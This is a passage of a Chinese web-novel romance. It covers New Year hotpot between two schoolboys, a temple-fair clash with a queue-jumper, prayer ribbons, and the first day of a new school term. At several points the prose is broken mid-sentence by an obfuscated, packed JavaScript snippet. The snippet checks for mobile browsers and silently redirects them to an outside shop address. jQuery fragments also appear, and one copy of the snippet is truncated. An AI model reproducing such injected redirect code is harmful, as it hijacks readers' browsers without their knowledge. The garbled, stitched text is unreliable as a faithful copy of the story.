祝则溪弯腰做了一个“请”的动作让齐章年进门,追在正往厨房走的齐章年身后,“不是,那你不陪你爸妈吗?” “哎呦我家里人多,我妈那边的兄弟姐妹今天全在我家,根本没人管我去哪,”齐章年把大口袋往灶台上一放,开始熟练地对各种食材进行分类,“我跟你说,这些都是我刚在我家楼下的火锅食材专卖店买的,特别新鲜。” 祝则溪站在旁边跟齐章年一起处理食材,越看越怀疑齐章年是不是有点不识数,“你是以为咱俩有多能吃,这荤菜就买了差不多15种,还有这么多素菜,吃得完吗?” 齐章年“啧”了一声,笃定地说— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619083|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' — “绝对吃得完好吧,人家这个叫年夜饭,就弄三四个菜肯定不像样啊。” 祝则溪被噎住,“嗯,说的也是。” 处理完食材,祝则溪把电磁炉插好电,等着火锅底料慢慢化开,独特的辣椒味充斥着整个屋子,让房间的温度都上升不少。 这年味来得猝不及防。 “齐章年,你想喝可乐还是椰汁?”祝则溪起身去开冰箱门。 “可乐吧,”齐章年把电视打开,新闻联播都开始了。 两个人边看电视,边吃火锅。 没想到齐章年买的这个火锅底料还挺辣的,两个人没吃几口就开始疯狂喝可乐。 “祝则溪,今天都除夕了,你给黄时雨发新年快乐了吗?”齐章年冷不丁冒出一句关心,果然还是八卦主题。 祝则溪的筷子陡然停在空中,他垂下眼,无奈地摇头—— “我没加她微信,发不了。” “不是,你是认真的吗,新年晚会你没加?小年聚会你还没加?你在等什么?”齐章年又疑惑又无语,把祝则溪上下打量了一番,只能想到唯一原因,“兄弟,我寻思你这形象还是很不错的吧,还怕人家拒绝啊?” 祝则溪喝下一大口可乐,叹了口气,“虽然在我的视角里,我已经认识她很长时间了,也……也喜欢她很长时间了,可是……她那么好,我根本算不了什么,也根本不敢奢望,能够在她的世界里短暂地当一个无关紧要的路人就很满足了。” “你在这儿发表什么非主流感言呢,”齐章年忍不住上手试探了一下祝则溪的额头温度,确认他是不是发烧了,“你们可以加上微信先做朋友嘛,一步一步来啊,没让你上来就当人家男朋友,什么路人不路人的。” “可我本来就是奔着做她男朋友去的!” 祝则溪说得掷地有声。 房间里一瞬间安静地吓人,只剩下锅里水沸腾的声音。 “啊?你俩八字都还没一撇呢,你就想了五六七八步了?”齐章年吃下一口毛肚,差点被祝则溪这句突如其来的“情话”呛到。 祝则溪后知后觉才反应过来自己刚刚说了什么,赶紧解释—— “我的意思是说,如果我和她成为好友,我就会不甘心只做普通朋友,但是从事实层面来说,我根本没有资格和她发展更亲密的关系。所以,与其这样长久的痛苦,不如就像两个相交线一样,只有短暂的交叠。” “因为梦想,也不是得到就是最完美的结局。” 齐章年张张嘴,似乎想说什么,却被祝则溪直接打断。 “像我这样的人,没必要在她的青春里留下什么印象。” 齐章年表示反对,“也不能这么说吧。” 他把齐章年从椅子上拉起来,走到卧室窗边—— 外面鞭炮声四起,火花在天空中炸开绚丽的花朵,开始为新一年的到来做最后的倒计时。 小区里到处张灯结彩,树枝上挂满灯笼,孩子们正挥舞着各种烟花棒,为新年的到来加油助力。 祝则溪轻抬下巴,望向窗外的眼神里多了几分羡慕,齐章年也顺着他的视线看过去—— “你看,对面就是黄时雨的家,阳台上亮着大红灯笼和走马灯,里面坐满了大人小孩的那个。” 14. 第十四次招惹 “姐姐,快起床啦,我们待会儿去逛庙会好不好?” 黄时雨被楠楠的“推搡大法”叫醒,掏出手机发现才刚到七点,裹紧被子翻了个身,把脸埋进被子里继续一言不发。 还是在床上温暖啊,外面那么冷,天寒地冻的。而且到底是谁发明的过年在冬天,街上寒风凛冽还要到处逛,到处走亲戚,简直是违背人性常理。 而且昨天晚上的鞭炮一直放到后半夜,黄时雨的卧室每次都被漫天烟花照个通明。 说是整宿未眠都不为过。 “苗苗,快点起来了啊,你大姑和妹妹都来了,今天是大年初一,可不能睡懒觉哦,”厨房里锅碗碰撞的声音和飘来的阵阵汤圆的甜味唤醒了黄时雨的听觉和味觉,在妈妈和楠楠的双重压力下,黄时雨眯了不到十分钟就从卧室走了出来。 大年初一吃汤圆,这是满城的习俗。 不过今年的汤圆有些特殊,是黄爸黄妈亲手包的咸蛋黄肉松馅,一口下去蛋黄味特别足,和着外面一层软软糯糯的汤圆皮,咸香和清新相得益彰。 黄时雨一口气吃了10个。 “姐姐,你穿一套跟我一样的红色衣服吧,这样出去比较搭~” 黄时雨忍不住蹲下捏了捏楠楠的脸,从衣柜里翻出一套红色衣服扔到床上,“你这8岁小孩也懂搭配啊,那你看看,我穿这一套合不合适?” “很好看,姐姐你长这么漂亮,穿什么都好看!”楠楠发动“甜言蜜语”攻势,让黄时雨的嘴角抑制不住地疯狂上扬。 黄时雨不得不承认,还是小瞧了满城春节的堵车程度。 一行人七点四十出发,原本只需要二十分钟车程,硬生生堵到八点半才挤到庙会门口。 今年庙会的阵仗格外得大,范围差不多是去年的两倍,黄时雨和楠楠走在前面,没走几分钟就跟爸爸妈妈和小姑走散了。街道上人头攒动,广播里已经开始放寻人通知了,黄时雨一直紧紧牵着楠楠的手,生怕一个不小心把孩子弄丢了。 摊位上吆喝声此起彼伏。糖画师傅手里的铜勺在石板上飞快地旋转,金黄的糖浆勾勒出十二生肖的图案;捏面人的老爷爷手指灵巧,转眼间就捏出了一只栩栩如生的小兔子,引得孩子们围成一圈拍手叫好,眼睛瞪得圆溜溜的;远处还传来锣鼓声,舞龙的队伍随着退到两边的人群在路的尽头缓缓出现,两条龙随着鼓点上下翻飞,金色的鳞片在阳光下闪闪发光。 “姐姐,我想吃糖画,”楠楠奶声奶气地摇晃着黄时雨的手。 黄时雨抬头看了一眼快要望不到头的队伍,最终还是斗不过肚子里的馋虫—— “可以呀,正好我也想吃。” 黄时雨带着楠楠在最后面排队,前面是一个穿黄色羽绒服的小女孩。这个队伍的长度还在不断增加,老板一个人又要收钱又要制作,看上去有点忙不过来。 “哎,有人踩我脚了,”楠楠大叫一声,转身扑到黄时雨怀里。 “好了好了,姐姐抱抱就不疼了啊,”黄时雨轻轻摸了摸楠楠的头,小心又温柔。 诶,刚刚那个穿黄色羽绒服的小女孩呢?前面这个男的是谁啊? 黄时雨一下子反应过来:有人插队。 黄时雨走上前拍了拍男人的肩膀。男人转头,年龄大概五十岁左右,矮胖胖的,正眯着眼睛刷视频,他漫不经心地抬起眼皮瞄了黄时雨一眼。看面相估计是个扯皮的主,黄时雨心里也有点发怵。 “你好大叔,我们这里在排队,大过年的,你这样随便插队,不太好吧,”出于礼貌,黄时雨的语气非常平静。 男人冷哼一声,按灭手机揣进兜里,像点着了的炮仗,突然开始冲黄时雨大声嚷嚷,“你应该明白口说无凭啥意思吧,我一直就站在这里的,你有什么证据证明我插队啊,大年初一我不想跟你吵!” “我前面原本是这个小姑娘,”黄时雨指着更前面那个穿黄色羽绒服的小女孩,语气依旧平和冷静,“你刚刚突然横插一脚站到我们前面,这不是插队是什么,而且我告诉你,我妹妹刚刚已经转了转盘,选好了糖画形状,付了相应的钱,那你要真的在我们前面,你说一下你转到的是哪一个动物,付了多少钱?” 黄时雨也没有百分之百的把握,她只能急中生智,想着用这种方式诈一下试试。反正这个小推车上也没有明码标价,他应该不能这么轻易地说出不同形状对应的不同价格。 男人明显慌了一下神,干咳两声很快掩饰过去。他撸起袖子,仰着头站到黄时雨面前,咄咄逼人的气势好像要动武力,黄时雨抱着楠楠不得不往后退了几步。 “没事没事啊,你俩都少说两句,”糖画老板眼看着插队这事越闹越大,想赶紧息事宁人,走过来把两人拉开一段距离,站到中间,对黄时雨小声说,“听我说句公道话,这样吧,我先给他做,做完马上就给你做,绝对不耽误你时间,这样可以吗?” 男人见有人给他撑腰,更加得意,对着黄时雨指指点点,“看到没有,明眼人都知道你在这儿血口喷人,诬陷好人!” 黄时雨一脸震惊地看着面前这两个人,一个明明插队还趾高气扬,一个只顾赚钱不管事情真相。 毕竟,公平正义是社会的梦想,不是社会的常态。 黄时雨抬眼环视着周围的人群,她相信一定还有其他人看到了插队的经过,但没有人出列,也没有人证明。他们围在旁边,交头接耳,仿佛在等一出“好戏”开场。 难道年轻女孩在外就应该忍气吞声,任人宰割吗? 黄时雨毫不畏惧地迎上男人的目光,手里紧紧攥着拳头。她是正义的,她什么都不怕。 “插了队还不敢承认,算什么东西,”黄时雨铿锵有力地撂下一句话。 “你再说一遍试试?!” 男人试图去扯黄时雨的衣服,被一双指节修长的手一把握住了手腕,往外一扭,再往回一推,男人没反应过来,抓着手腕疼得呲牙咧嘴。 一个高大挺拔的身影挡在了黄时雨和楠楠面前。 石板路上的影子被太阳拉长,好像三人正抱在一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619084|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这声音不卑不亢,有礼有节,“自己插队在先,还不允许别人指出来,被别人发现了就恼羞成怒,还想寻衅滋事,当着庙会这么多人的面,不觉得丢人吗,”祝则溪转头又看向正在安抚男人情绪的老板,“你也是,是非不分,颠倒黑白,为虎作伥,对顾客连最基本的一视同仁都做不到,看似是劝架,实则是拉偏架,你好意思吗?” 齐章年突然从人群中冲出来站到了祝则溪身边,四个人站在一起,倒显得颇有气势。 “就是啊,我们刚刚都看见了,明明就是你插队在先,还反咬一口,一点素质都没有!”齐章年嗓门特别大,路过的人都忍不住侧目。 眼看着阵仗越来越大,围观群众也越聚越多,男人自知理亏,估计也怕被别人认出来,往地上啐了一口痰,狠狠剜了一眼祝则溪和齐章年,转头悻悻地走了。 人群像潮水一样渐渐散去,楠楠后知后觉被吓得哭了出来,黄时雨轻轻搂住她,拍拍她的背,好让她安心。 黄时雨自己也有点被吓到了,看到男人伸手想扯自己的衣服,说一点都不害怕肯定是假的。 “祝则溪,谢谢你,我……我最后看到他想来扯我衣服的时候,都有点儿不知道该怎么办了,”黄时雨缓过神来,声音有点颤抖,说着说着突然哽住,眼泪开始扑簌簌往下滚,跟断了线的珠子一样。 黄时雨早就习惯了从血肉里长出盔甲,作为一名常常路见不平拔刀相助的人,她并不是第一次碰到这样的场面。可是今天,有一个人甘愿做她的骑士,挡在她的面前,像春风吹过万物复苏的大地,随着涓涓细流,生出春日漫漫绿野来。 祝则溪一下子有点不知所措,他还在第一次看到平日里这么阳光开朗的黄时雨伤心落泪的一面。 他赶紧从口袋里拿出纸巾,轻轻擦去黄时雨脸颊上的泪水,动作特别温柔细心,像是对待易碎的宝物—— “别哭了好不好,”祝则溪用哄小朋友的语气跟黄时雨说话,他弯下腰,看着黄时雨一点一点把眼泪收回去才满意地起身。 终于哄好一个,祝则溪又蹲下去哄楠楠。 “小朋友,哥哥等一下给你买好吃的,好吗?” 不等楠楠回答,祝则溪仰头冲齐章年抬了抬下巴—— “你没吃过吧?” “没有啊,我才买的。” 祝则溪盯上了齐章年手里正拿着的那串刚买的糖葫芦,糖衣在阳光下闪烁着微光,透出里面山楂的深红色,带着甜腻的香气。 祝则溪一摊手,齐章年瞬间反应过来祝则溪的意思,慷慨地让祝则溪“借花献佛”。 “小朋友,哥哥把这个糖葫芦送给你吃好不好,不要哭了好吗?” 楠楠从黄时雨的肩上抬起头,脸上还挂着两条泪痕,一副委屈巴巴的样子。但看到眼前亮闪闪的糖葫芦,眼神一下子又有了光彩。 她从祝则溪手中接过糖葫芦,轻轻舔了一下,瞬间连声音都带上了一层甜味—— “谢谢哥哥。” “不客气。” 15. 第十五次招惹 “喂,妈妈,”黄时雨看到妈妈打来电话放慢脚步,祝则溪和齐章年也跟着停了下来,“我们在舞狮的广场这里,刚刚碰到我同学了,我们四个人现在在一起。” “快到饭点了,你们四个自己吃还是过来咱们一起吃啊,要来的话我们就等你们。” 电话那头特别嘈杂,估计他们已经在饭店里了。 一起吃?可能会有点尴尬吧。 黄时雨正想问问另外几个人的意见,却在转头时刚好跟祝则溪灼热的目光撞了个满怀,黄时雨赶紧扭头,假装什么都没有发生过。 “算了妈妈,我们四个自己吃吧,不过来了。” 挂了电话,祝则溪走过来。 “再往前走就到寺庙了,要不我们一起去祈福吧,怎么样?” “好啊好啊,”齐章年第一个响应号召。 “我也可以,”黄时雨紧随其后点点头,“你呢,楠楠你想去吗?” “我也想去,”楠楠一手拿着糖葫芦,一手高高举起表示赞同。 庙会的尽头,一颗挂满红布条的老槐树下,香火缭绕,人们在树前排队祈福。红布条上写满了心愿,随风轻轻摇摆,仿佛在替许愿人诉说着对新年的期盼。 四人走到寺庙门口排队领取红布条。 大年初一的阳光像融化的金箔,顺着古刹的飞檐不停地往下淌。 “四位是一起的吗?”寺庙住持问排在最前面的黄时雨。 “对,您给我们四个红布条和一只马克笔就行,谢谢。” 黄时雨最先拿到马克笔。站在老槐树下,她轻轻抬眸,眼前的红布条像波涛一样翻涌,作为一名高二学生,她比谁都清楚自己现在最想要什么。 睫毛在阳光下微微颤动,黄时雨在布条上一笔一画地写下“高考顺利”四个字。 考上一所好大学,是黄时雨这样普通家庭的孩子最重要的逆天改命的机会。 祝则溪看着她在心愿背面工工整整地写上自己的名字,果然和他想的一样,黄时雨唯一的心愿就是好好学习,考一个好大学。 祝则溪接过马克笔,上面还残留着黄时雨掌心的余温。 明明有很多想实现的心愿,他却将笔尖悬在布条上方良久。 “你……没有什么心愿吗?”黄时雨凑过来发现还是一个空空如也的布条感到有些惊讶。 “……有。” 祝则溪背过身去,攥着红布条的手指微微发抖。 考上好大学,摆脱原生家庭的阴影,拥有更广阔的施展美术才华的机会,这些对祝则溪来说都是能靠努力实现的。可唯有一个心愿,需要神明的帮助和庇佑。 他想拥有和黄时雨并肩的底气,想成为黄时雨的男朋友,想长长久久地留在她身边,以一辈子作为时间单位。 祝则溪在心里默念了三遍,小心翼翼地写下—— “心想事成。” 这是祝则溪最重要的新年愿望。 这个份不知从何时起的喜欢,渴望有朝一日能得偿所愿。 “你可以帮我一下吗,我想挂高一点,”黄时雨把红布条递到祝则溪手中,“我觉得这样比较容易实现。” 祝则溪把自己写的红布条紧紧握在手心,点点头,“好,我先帮你。” 祝则溪站到台阶上,踮起脚,借助身高优势,把黄时雨的布条挂到了最高处,被微风抚摸着轻轻地晃动。 祝则溪没有把自己的布条挂到黄时雨旁边,而是挂到了她的下面。 神明啊,恳求您优先实现她的心愿。 钟声恰在此刻撞碎满树阳光,四人在老槐树下站成一排,合掌祈福。 ——愿福启新岁,万事顺遂。 大年初一要找个饭店实在是太不容易了,一行人走了好几条街,才在一个小巷深处找到了一家不用排队的串串店。 黄时雨和楠楠都走累了,一坐下就不想动弹。 “你们有什么忌口吗,我们去拿串串了,”祝则溪脱下外套,看到两人累瘫在座位上,忍不住轻笑一声。 “没有。” “我也没有。” 齐章年立刻下达任务:“那我拿荤的,你拿素的,搞快点啊,我都饿得不行了。” 楠楠探出头,看两人专注于拿串串,神秘兮兮地看了一眼祝则溪,又转过来一直盯着黄时雨看。 “姐姐,我能问你一个问题吗?”楠楠睁着一双大眼睛,充满好奇地看着黄时雨。 “可以呀。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对,不过黄时雨,刚刚那个大叔是插队了吗,大概是什么情况啊?”祝则溪喝了一口水,然后缓缓开口。 什么,祝则溪居然不知道真实情况?! 黄时雨忍不住瞪大了眼睛,很快又回归平静。 “你……你不知道是什么情况就上来帮我吗,万一我是那个不讲理的人呢,你不就主持公道主持错了嘛。” 祝则溪轻轻地摇摇头,手指不自觉地摩挲了一下,微笑着说,“我相信你不会,而且……我也没打算主持公道。” 齐章年立刻接过话头,帮祝则溪补充了后半句。 “他只是想给你撑腰。” 16. 第十六次招惹 过了初六,满城又如同以前每一年的春节一样,再次慢慢变成了“空城”,赶着高速公路不收费的最后一天,该上班的上班,该上学的上学,年味也随着人们新的出发被撵成了汽油味。 临近开学,那个包含三个班的大群也开始活跃起来。 不用想都知道,各种要答案的、送答案的都在里面叽叽喳喳,闹个没完。 数学、理综、文综的答案不难找,毕竟大部分同学都会优先完成这几科的作业,唯独语文和英语,写的人很少,毕竟这两门比较考验基础,很难快速提分。 而黄时雨的语文和英语,曾多次在年级统考中拔得头筹,战绩可查。 这几天黄时雨的手机消息多得快要爆炸,自己班的、二班的,甚至连一班这个文科班都有人来找黄时雨。但对于所有求答案的同学,黄时雨最多只会发给他们基础部分的答案,阅读和写作如果发出去会过于雷同,特别容易被老师发现,黄时雨也不敢冒这个险。 对面的灯还亮着,黄时雨看着看着就出了神。 “后天就要开学了,也不知道对面那个男生写完作业了没有,”黄时雨一个人在房间里自言自语,“但是他年后每天晚上都在学习诶,感觉应该还是挺认真的吧。” 手机毫无征兆地发出震动,是罗亦芃发来的“求助”信息。 “美女姐姐,我知道你肯定已经写完语文和英语作业了是不是呀,就是说有没有可能给我借鉴一下呢?” “没写完,不会发,别求我,”黄时雨连续三个弹窗发过去,语气相当冷漠,希望罗亦芃能知难而退。 “别别别,我只要英语,语文我都写完了,”罗亦芃又发来一句。 紧接着就是一连串哭唧唧的表情包。 “求求了,美女姐姐,我知道你人最最最好了,救我一命吧!” 黄时雨的脑瓜子一转,怎么能这么轻易就给他,至少也得给自己一点好处吧。 “那你答应我一个条件,我就勉强考虑一下。” “什么条件?” 对话框显示:“对方撤回一条消息。” 修改后,“什么条件?什么条件都可以啊!” 黄时雨思来想去,觉得还是让他当个跑腿比较合适。 “这样吧,未来一个月,每天上午第二节下课,你都来我们教室门口,我告诉你我想吃什么,然后你去小卖部帮我带回来,买回来了我再把钱给你,怎么样?” “好!” 对面想都不想,直接答应下来。 黄时雨也很守承诺,把英语基础部分发了过去。发完就把手机丢一边,躺到床上,把脸埋在被子里—— “寒假怎么这么快就结束了啊,我竟然啥都没干就结束了?!” 黄时雨把胳膊从被子里伸出来,在床上抓空了好几下,才终于把手机拿过来,开始循环播放——《反方向的钟》。 今天是元宵节,也是满城一中开学的日子。 人群中,穿着校服的身影穿梭不停,有人低头快步走过,像是还没从假期的慵懒中回过神来;有人则和同学大声说笑,声音里还夹杂着假期的余韵。偶有家长送孩子到校门口,叮嘱声和告别声交织在一起:“今天不上晚自习,下午早点回来啊!” 红色的灯笼挂在大铁门上,随风轻轻摇晃,灯笼纸上印着金色的“福”字,在晨光中泛着温暖的光泽。 黄时雨从爸爸的车上下来,拖着疲惫的身体往学校里走。 虽然在寒假期间,黄时雨已经把数学知识完完全全复习了一遍,但为了即将到来的开学考试,昨天晚上还是熬到了凌晨一点。毕竟,要是再考不好,回家不知道得面对怎样的疾风骤雨。 远处的教学楼里,已经陆续亮起了灯。 黄时雨从来都是卡点上学,因为她很清楚从校门口走到教室需要8分钟,所以基本没有迟到过。 刚进校门,黄时雨的肩膀就被人轻轻拍了一下。 “诶,祝则溪,”黄时雨环顾四周,发现已经没几个人了,忍不住问,“你平时也来得这么晚吗?” 祝则溪害羞地挠了一下头发,对黄时雨的疑惑给出了肯定的回答,“对啊。” “你寒假去上美术课,感觉怎么样?” “还挺有意思的,老师很专业,总是能给我很多有启发性的建议,也能一针见血地指出我的不足。” “啊那还挺好的,不过我看网上说,你们美术生这学期结束后就要开始集训了是不是,然后要一直到明年三四月份才回来。” 黄时雨悄悄侧头,等待祝则溪的回答。 “对,我们集训的时间是挺长的”,祝则溪思考了一会儿,接着说,“而且回来之后也非常忙,差不多三个月的时间要把落下的文化课全部补上。” 祝则溪突然转头,正好对上黄时雨灼热的目光,她的表情也从好奇变成了感慨。 “怎么了?” “没有…就是觉得还挺辛苦的,很多人都觉得艺考是走捷径,其实根本不是这样…” 在楼道口分开,黄时雨远远地就听到了班上吵闹的声音,确定还没有老师来。 教室里充斥着一股寒假后许久未通风的沉闷感,黑板上还残留着上学期期末的板书痕迹,黄时雨猫着腰,从讲台上穿过去,径直走到教室最后一排坐下。 “你现在真是越来越会卡点了啊,”吴笙笙边整理作业,边忍不住吐槽,“就差一分钟。” “哎呀,一分钟也没迟到啊,反正没迟到就行。” 按惯例,开学的第一节课,就是收作业。 科代表们轮流到每一个人的座位面前收作业,没写的或者没写完的就记在便利贴上,在办公室给老赵汇报。 每次一到这个环节,就好像按下了什么吵闹开关,赶作业的人、作业和科代表之间呈现出三足鼎立的态势,在表面平和的教室里显得格外剑拔弩张。 黄时雨把作业整整齐齐放在桌子右上角,走上讲台。 使劲拍了几下讲桌,才把全班同步的目光都聚焦过来。 “行了,大家都安静点,交作业需要这么吵吗,是拿手交还是拿嘴交啊?”黄时雨的身高有一米七,站在台上冷冰冰地环视着大家,跟平日里活泼爱笑的样子截然不同。 不得不说,还是有一定的威慑力。 教室里一下子安静下来,只剩下书页翻动的声音。 直到各位科代表把作业和名单全部整理好,去老师办公室交作业,黄时雨才回到座位上。 “笙笙,我盲猜最多五分钟,小陈老师就要拿着卷子走进来了,不信你看——” 黄时雨和吴笙笙一起转头看向教室门口。 果然,话音刚落,小陈老师就拿着一摞卷子,跟着科代表们一起进了教室。 小陈老师站在讲台上,边数卷子边提醒同学们—— “把跟考试无关的东西全部收下去,桌子上只留一支黑笔,一支填涂笔就可以了,草稿纸等下会发,其他什么都不要留。” 看到卷子从第一排慢慢往后传,黄时雨赶紧做了几个深呼吸,才拿起笔,开始从头到尾浏览整张试卷。 “哦我差点忘说了,同学们把桌子拉开。” 除了靠墙的同学,所有人都开始挪动桌椅。 同学们被分成一座座孤岛,失去了跟周围人的联系。唯一的解锁密码,就是专心致志地完成眼前这场开学考试。 小陈老师监考从来不会坐在讲台上,而是习惯于在教室里走来走去,甚至会冷不丁地突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619086|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然出现在某位同学的背后,所以大家从来都不敢在考数学时耍什么小聪明。 黄时雨这次做题还挺顺利的,看来寒假复习还是卓有成效。 小陈老师低头看了一眼手表,指针刚好指到十一点整。 “大家都停笔啊,时间到了,把卷子从后往前传上来。” 小陈老师数了一下试卷数量,又抬头核对了一下人数,确认无误后拿起卷子走了出去。 前脚小陈老师刚走,后脚黄时雨立就趴到桌子上,闭上眼睛开始闭目养神。 刚趴下不到五秒钟,黄时雨突然想起要去办公室一趟,触电般站起来,边往外走边嘟囔,“我服了,我还要帮老赵清点作业啊,差点搞忘了。” 昨天晚上刚下过雨,空气中的草木味还没散去,教学楼旁的松树上还残留着夜雨亲吻过的痕迹。黄时雨猛吸了一口来自大自然的清香,顿时神清气爽。 黄时雨轻轻推开门,里面除了老师,还有好几个学生。 “黄时雨啊,来清点一下作业,看看跟各科代表记录的有没有出入,”老赵从一堆教案文件中抬起头,扬了扬下巴,示意黄时雨赶紧进来。 黄时雨走进来,才发现祝则溪正端端正正地站在最里面,难道是犯什么错了吗? 作业大部分都是试卷,也是科代表整理好了的,黄时雨只需要把学生名册拿过来,对照着找出哪些人没交就可以了。 为了不影响老师们办公,黄时雨选择蹲下来,把作业放在地上一门一门清点。 突然被人拍了一下肩膀,黄时雨感觉到左侧投下了一片阴影。 “你怎么在这里啊,”黄时雨回头看了一眼其他老师,确定没有人注意自己,“难道开学第一天,就被老师约谈了?” 祝则溪不好意思地低下头,随即侧身看着黄时雨,“不是的,我来问一道数学题。” 黄时雨露出惊讶的神色,“不是,刚开学你就问题呀,也太刻苦了吧。” 祝则溪没有接话,只是轻轻点了点头,然后立刻转移话题,“我看这些作业挺多的,要不我帮你清点吧,两个人速度更快一点。” “好,”黄时雨也不客气,把数学和英语作业搬到祝则溪面前,“语文我已经清完了,你就清点这两门,物化生我来清点。” “行。” 蹲着真的很容易腿麻,黄时雨和祝则溪时不时就要换一下腿。如果鞋底可以当抹布的话,二十分钟下来,两个人已经把办公室门口的那块地方擦了个锃光瓦亮。 终于按照科目把没交作业和作业没写完的同学的名字整理完了,黄时雨扶着墙撑着膝盖缓缓站起来,小声吐槽,“我的天哪,我腿都麻了。” 祝则溪忍不住笑出来,“我也是,蹲久了。” “赵老师,所有名单都在这里了,你看看,”黄时雨一边把便签递过去,一边用手捏了捏发麻的大腿。 老赵接过去,很快地瞟了一眼,发现便签上是密密麻麻的人名,忍不住皱眉。 “怎么这么多人啊,”老赵认认真真地从前往后浏览了一遍。 “对,主要是语文和英语完成得不太好,有些人没交,而且我翻了一下,交了的人里也有一些人很明显在应付。” 老赵眉头紧锁,把短短一张便签纸来来回回看了又看,好像在极力从中找出什么能缓解气愤的解药。 重视数理化,忽视语文和英语,这好像本身就是理科班的通病。 老赵突然反应过来黄时雨还在旁边站着,马上恢复出一副温和的样子,“噢那你先回去吧,下午放学的时候,我再处理他们。” “好的,赵老师。” 黄时雨走到门口,趁着门虚掩着的视线盲区,轻轻拉了一下祝则溪的袖子,示意他跟上。 17. 第十七次招惹 “祝则溪,你开学考试考得怎么样啊?”黄时雨从交卷开始,就一直在担心,担心要重蹈覆辙上学期期末成绩的老路,“你觉得难吗?” 虽然祝则溪在文科班,但三个班都是小陈老师一个人在教,所以除了阶段性考试和联考之外,大多数时候都考的是同一套试卷。 祝则溪很明显停顿了一下,眼神暗了下去,短暂的沉默之后才缓缓吐出几个字—— “反正……我考得不怎么样。” 黄时雨这才猛然想起祝则溪刚刚在办公室问题的场面,尴尬地一拍脑门:我在干嘛啊,明明看到人家在问数学题还问他考得怎么样,这不是戳人痛处吗…… 等黄时雨想好要怎么挽救刚刚说出的那句不合时宜的问题时,就已经走到了一班教室门口。 祝则溪点头示意,小声说,“那我先进去了。” “好。” 黄时雨低头看表,太好了,还有半个小时就可以回家吃午饭了。 刚考完试的班级是怎么也静不下来的,加上又刚刚收假,即使黄时雨已经在办公室整理了半个小时作业,从走廊上经过时,还是发现各个班都有各个班的闹法。 大多数人会假装摆一张试卷和两三本书在桌面上,这两三本书中还一定有一本数学或物理课本,一本参考书,一本语文或英语课本。这样不管是哪一门课的老师走进来,都能根据老师的偏好,快速调整学习内容。 整备好掩护装备后,就可以摆出一副学习的架势,开始跟周围人大聊特聊自己的寒假生活,偶尔听到走廊上传来由远及近的脚步声或钥匙扣声,同学们就会如同被按下了音量暂停键一样瞬间静音,谨慎地转动脑袋环顾四周。 黄时雨每经过一个班都是如此,不过跟老师们的出现不同的是,短暂的安静之后是更加热烈的交流。 “笙笙,你宿舍收拾好了吗?” 黄时雨看似是在读语文作文素材,实际上一点都没看进去。资料上勾勾画画很多,但脑子里什么都没留下。 “差不多了,中午我在食堂吃完饭,回去把床铺了就行。” “那你的室友还是那几个吧,有没有退宿的?” 吴笙笙点点头,“有一个退宿了,就是骆子玉,听说她妈妈专门从外地回来照顾她最后这小半年,毕竟是高三嘛,然后黎果和一班的卜佳都还住着。” “骆子玉是谁,我之前去你们宿舍好像从来没有看到过这个人啊?” 吴笙笙拿起课本挡在前面,压低声音说,“那是因为她中午不是每天都回宿舍睡觉,所以你有时候中午过来就没见过……” “不过我今天早上去宿舍的时候,听卜佳说骆子玉的妹妹就是八班那几个人在寒假恐吓抢劫的对象之一,所以她妈妈不放心,才把姐妹俩接回去的。” 黄时雨若有所思地点点头,“原来如此。” 教室挂钟的指针一点一点接近12点,黄时雨已经迫不及待开始收拾书桌准备回家吃饭了。 刚飞奔到校门口,黄时雨就看见爸爸穿得西装革履地靠在车边,伸手向黄时雨示意。 “苗苗,这里!” 还好,这声音还是那个熟悉的感觉。 “黄曲山先生,请问您今天这个打扮是为什么?”坐在副驾驶上的黄时雨拿起爸爸的保温杯,像递话筒一样递到他面前。 黄爸爸也非常配合,清了清嗓子,对着保温杯回答,“因为我下午要去见一个大客户!” “真的吗?”黄时雨一下子坐直了,赶紧追问,“咱们这个小物流公司终于有新的甲方了?” 黄爸爸也藏不住笑容,但还是尽量保持冷静,“还不知道,要下午见了才知道啊。” “我觉得没问题的,你看你打扮得如此周正,态度如此诚恳,肯定能够拿下。” “借你吉言!” 一打开家门,一股红烧鱼的香味直冲天灵盖,黄时雨忍不住猛吸了一口—— “爸爸,你中午做了红烧鱼啊,好香啊!” 黄爸爸得意得挑眉,“那当然,毕竟你又进入了一个新学期,也是一件值得庆祝的事嘛。” 黄时雨盛好饭,坐在餐桌上静静等待红烧鱼的到来。 “来啦!” 